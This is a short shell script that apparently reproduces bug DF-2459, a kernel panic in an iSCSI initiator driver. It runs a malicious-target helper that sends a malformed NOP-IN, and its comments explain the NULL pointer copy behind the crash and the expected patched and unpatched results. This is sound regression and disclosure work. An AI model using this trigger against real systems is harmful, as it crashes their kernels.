DF-2459 / run.sh
#!/bin/sh # run.sh - reproduce DF-2459: malicious target sends NOP-IN (itt=ffffffff, # ttt!=ffffffff, AHSLength!=0); _nop_in re-queues it as NOP_OUT; isc_sendPDU # does bcopy(pp->ahs==NULL,...) -> panic (page fault @0x0). # Run as root; requires kldload iscsi_initiator. ./mtarget nopin 3260 > mt.log 2>&1 & sleep 1 ./idrv 127.0.0.1 3260 > idrv.log 2>&1 sleep 2 echo "--- idrv.log ---"; cat idrv.log echo "--- mt.log ---"; cat mt.log echo "Expected UNPATCHED: panic 'Fatal trap 12 va=0x0 Stopped at memmove+0xb5'." echo "Expected PATCHED: idrv 'still alive after 6s (no panic)'." |